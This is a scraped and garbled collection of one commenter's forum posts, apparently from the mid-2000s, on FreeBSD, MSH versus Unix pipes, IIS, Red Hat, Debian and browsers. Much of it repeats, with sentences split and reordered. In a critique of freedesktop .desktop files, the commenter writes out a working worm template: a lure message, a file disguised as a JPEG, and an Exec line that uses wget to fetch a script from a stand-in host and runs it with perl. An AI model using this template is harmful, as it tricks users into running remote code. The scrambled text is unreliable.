Funny you got modded as "funny" - one of the reasons "industry" uses intel is because it actually has good chipsets (intel, serverworks, IBM...) and you don't need to use the nvidia crap most of opteron boards seem to use (there's a amd chipset, the one sane option for the amd platform. No wonder why Intel keeps outselling AMD even if theyr CPUs are much worse)
Exporting to PDF is cool, but it'd be even nicer if you could open them too. Damn, Koffice does it
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I've been reading the freebsd mailing lists, and as far as I know there are still lot of "small issues" left in 5.x...the 5.x branch has been quite painful for the freebsd people, and that's why 5.4 took so long, and why 5.4 still has issues, like stability in some places but specially from the performance POV (like the threading subsystem, the freebsd guys would rather release a slow kernel than trying to speeding up and unstabilize everything so they released 5.4 despite of having some patches to speed up things).
From what I've read, there're lots of ongoing work, the next freebsd release (6.0, for the end of this summer I think) will have lots of performance/polishing changes. IOW, the first real "stable" release of the 5.x brach will be 6.0
I don't think so. I did some Googling, and it seems that this scheme differs from unix pipelines. Unix pipelines are processes that pass each other streams of data. MSH seems to contruct pipelines of objects that pass each other objects.
Sounds interesting to me. Having a command instantiate an object instead of a process seems inherently more efficient, as does communicating with objects instead of text.
Sounds like Microsoft doesn't understand unix. The whole point of unix pipes is not "passing text between commands in a bash shell", is "passing data between processes", which happens to be ascii code, which happens to look like text if you want to pass text (note that if you're passing UTF-8 characters this can not hold true)
I mean, bash doesn't needs to do pipes the way it does it. There's nothing forbidding people to build a monad-like shell in unix - implement it using pipes. There's nothing with "MSH pipes" that you can't do with unix pipes because you can send a object through a unix pipe anyway, processes would just have to "parse" the objects - which is something MSH HAS to do anyway so I'm not seeing something revolutionary here
Consider that the IIS metabase is now xml instead of what it used to be..
The IIS metabase is both XML + registry based. Teorically you touch XML files, in practice when you touch them IIS detects your action and reloads the changes in the registry
they are stuck and are forced to have their code infected by this heavily viral licence.
Well, redhat is allowing you to use freely and for free a product that costs several millons of dollars. You should THANK them that they give you this possibility, if you don't like it don't use it or just shut up. If you are doing money from the product redhat opensourced but you don't want to give them back anything...well, I wouldn't really like to be your friend;)
Microsoft's Active Directory and propietary directory servers for $BIG UNIXES. Red Hat plays in the "Big server" market so this is a mejor milestone for them - and for linux in the enterprise. Lots of netscape directory's customers will want to switch to redhat too.
What kind of help? And more importantly, how are they making something compatable? Reverse engineering?
What the fuck? Flash format is open, why reverse engineering? Flash format is just as open as, say, PDF. If nobody in the opensource community has not written a opensource flash viewer is OUR fault not theirs.
Mind you, I've been viewing some simple flash files through gstreamer thanks to swfdec. Why all this noise now?
1) Try to make software patents valid everywhere
2) File some patents
3) Allow open source software to use your patents
4) ???
So, if patents are a "good thing" that encourages innovation, why is nokia allowing open source (ie: anyone) to use them for free? As far as I can see, they're contradicting themselves
I dunno - maybe they should make it - you know - well commented plain text configuration file? Or even XML
ISS 6 already uses XML configuration files. It's in fact a quite rare move in the MS world - until then they only used their beloved "registry". I guess people asked them to use "configuration files", so they went for XML configuration files. But their approach is awkwards, when you edit the configuration file and save it, ISS detects it and the corresponding registry configuration is changed to reflect the changes in the configuration file - and viceversa.
They've discovered most of the linux kernel vunerabilities in the latest ~2 years or so, and they've always disclosed them friendly, so I don't think they deserve all this noise. It's better to think that there're vulnerabilities and fix them than the contrary.
Note, normally I wouldnt stand for people bitching about a 5-6 year old OS, but in this case Microsoft has not delievered an upgrade and should extend the support window until they do.
So what the hell do you think windows 2003 server is?
Except that XP is primarily a user/wprkstation product and win2k is an enterprise/server product. The substitute of windows 2000 is windows 2003, not XP.
how about taking more market share away from IE by making a browser baed on apple safari
And mind you, how is Safari going to take more market share from IE? Firefox is in fact doing it much better than anyone would have expected, and part of its secret are things like extensions, which Safari doesn't supports.
This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe"
IMO the problem there was the.exe extension, not that they hide it. No matter what you do, a.exe file is executable. Compare it to the Unix's permission model. You could download a executable from internet, but it wouldn't work because it has not the +x bit set.
And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in.desktop files? Noticed how inside a.desktop file you have a "Run=" field where you can put "Run=wget www.foo.com/worm.pl; perl worm.pl"? Noticed in fact how you can hide the whole file name by adding a "Name=" field?
In fact, look at the following valid worm:
I'm called Mary, and I want to know what you think about my new bikini
To see me, save the attached file in your desktop and double click it. Kisses!
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Funny you got modded as "funny" - one of the reasons "industry" uses intel is because it actually has good chipsets (intel, serverworks, IBM...) and you don't need to use the nvidia crap most of opteron boards seem to use (there's a amd chipset, the one sane option for the amd platform. No wonder why Intel keeps outselling AMD even if theyr CPUs are much worse)
Exporting to PDF is cool, but it'd be even nicer if you could open them too. Damn, Koffice does it
I've been reading the freebsd mailing lists, and as far as I know there are still lot of "small issues" left in 5.x...the 5.x branch has been quite painful for the freebsd people, and that's why 5.4 took so long, and why 5.4 still has issues, like stability in some places but specially from the performance POV (like the threading subsystem, the freebsd guys would rather release a slow kernel than trying to speeding up and unstabilize everything so they released 5.4 despite of having some patches to speed up things).
From what I've read, there're lots of ongoing work, the next freebsd release (6.0, for the end of this summer I think) will have lots of performance/polishing changes. IOW, the first real "stable" release of the 5.x brach will be 6.0
I don't think so. I did some Googling, and it seems that this scheme differs from unix pipelines. Unix pipelines are processes that pass each other streams of data. MSH seems to contruct pipelines of objects that pass each other objects. Sounds interesting to me. Having a command instantiate an object instead of a process seems inherently more efficient, as does communicating with objects instead of text.
Sounds like Microsoft doesn't understand unix. The whole point of unix pipes is not "passing text between commands in a bash shell", is "passing data between processes", which happens to be ascii code, which happens to look like text if you want to pass text (note that if you're passing UTF-8 characters this can not hold true)
I mean, bash doesn't needs to do pipes the way it does it. There's nothing forbidding people to build a monad-like shell in unix - implement it using pipes. There's nothing with "MSH pipes" that you can't do with unix pipes because you can send a object through a unix pipe anyway, processes would just have to "parse" the objects - which is something MSH HAS to do anyway so I'm not seeing something revolutionary here
Consider that the IIS metabase is now xml instead of what it used to be..
The IIS metabase is both XML + registry based. Teorically you touch XML files, in practice when you touch them IIS detects your action and reloads the changes in the registry
ie: it's really crappy
...before people collapses servers.
Did a security patch make it into Sarge? No. Did versions 1.8.3, 1.8.4, 1.8.5 or 1.9 make it into Sarge? No.
There're more security issues. Those, however, can (and will) be corrected after sarge's been released
(yes, it sucks, but fixing all security issues would have delayed even more the release)
both
Debian will switch to x.org - they haven't done it because, er, it'd have delayed sarge's release even more
It can be fetched from Sun for no cost for 4 years now ...
...and no source
they are stuck and are forced to have their code infected by this heavily viral licence.
;)
Well, redhat is allowing you to use freely and for free a product that costs several millons of dollars. You should THANK them that they give you this possibility, if you don't like it don't use it or just shut up. If you are doing money from the product redhat opensourced but you don't want to give them back anything...well, I wouldn't really like to be your friend
Unfortunately, this will probably mean OpenLDAP will fade into insignificance, but I may be wrong !
Why? KDE vs gnome? freebsd vs linux? It's not going to dissapear...
Microsoft's Active Directory and propietary directory servers for $BIG UNIXES. Red Hat plays in the "Big server" market so this is a mejor milestone for them - and for linux in the enterprise. Lots of netscape directory's customers will want to switch to redhat too.
F4L, screenshots
What kind of help? And more importantly, how are they making something compatable? Reverse engineering?
What the fuck? Flash format is open, why reverse engineering? Flash format is just as open as, say, PDF. If nobody in the opensource community has not written a opensource flash viewer is OUR fault not theirs.
Mind you, I've been viewing some simple flash files through gstreamer thanks to swfdec. Why all this noise now?
what about "my documents", etc?
1) Try to make software patents valid everywhere
2) File some patents
3) Allow open source software to use your patents
4) ???
So, if patents are a "good thing" that encourages innovation, why is nokia allowing open source (ie: anyone) to use them for free? As far as I can see, they're contradicting themselves
I dunno - maybe they should make it - you know - well commented plain text configuration file? Or even XML
ISS 6 already uses XML configuration files. It's in fact a quite rare move in the MS world - until then they only used their beloved "registry". I guess people asked them to use "configuration files", so they went for XML configuration files. But their approach is awkwards, when you edit the configuration file and save it, ISS detects it and the corresponding registry configuration is changed to reflect the changes in the configuration file - and viceversa.
They've discovered most of the linux kernel vunerabilities in the latest ~2 years or so, and they've always disclosed them friendly, so I don't think they deserve all this noise. It's better to think that there're vulnerabilities and fix them than the contrary.
The upgrade for windows 2000 is windows 2003, not windows XP.
Note, normally I wouldnt stand for people bitching about a 5-6 year old OS, but in this case Microsoft has not delievered an upgrade and should extend the support window until they do.
So what the hell do you think windows 2003 server is?
Wait one minute.. WinXP *IS* the upgrade for 2k
Except that XP is primarily a user/wprkstation product and win2k is an enterprise/server product. The substitute of windows 2000 is windows 2003, not XP.
how about taking more market share away from IE by making a browser baed on apple safari
And mind you, how is Safari going to take more market share from IE? Firefox is in fact doing it much better than anyone would have expected, and part of its secret are things like extensions, which Safari doesn't supports.
Try with Run= instead of Exec=, I copied that wrong
This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe"
.exe extension, not that they hide it. No matter what you do, a .exe file is executable. Compare it to the Unix's permission model. You could download a executable from internet, but it wouldn't work because it has not the +x bit set.
.desktop files? Noticed how inside a .desktop file you have a "Run=" field where you can put "Run=wget www.foo.com/worm.pl; perl worm.pl"? Noticed in fact how you can hide the whole file name by adding a "Name=" field?
IMO the problem there was the
And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in
In fact, look at the following valid worm:
I'm called Mary, and I want to know what you think about my new bikini
To see me, save the attached file in your desktop and double click it. Kisses!
attached file: save.to.your.desktop
Name=My Bikini zoomed.jpg
Icon=fakeiconpresentonthesystem.png
Exec=wget http://www.foo.com/evilperlscript; perl evilperlscript
We just need more marketshare to see this work.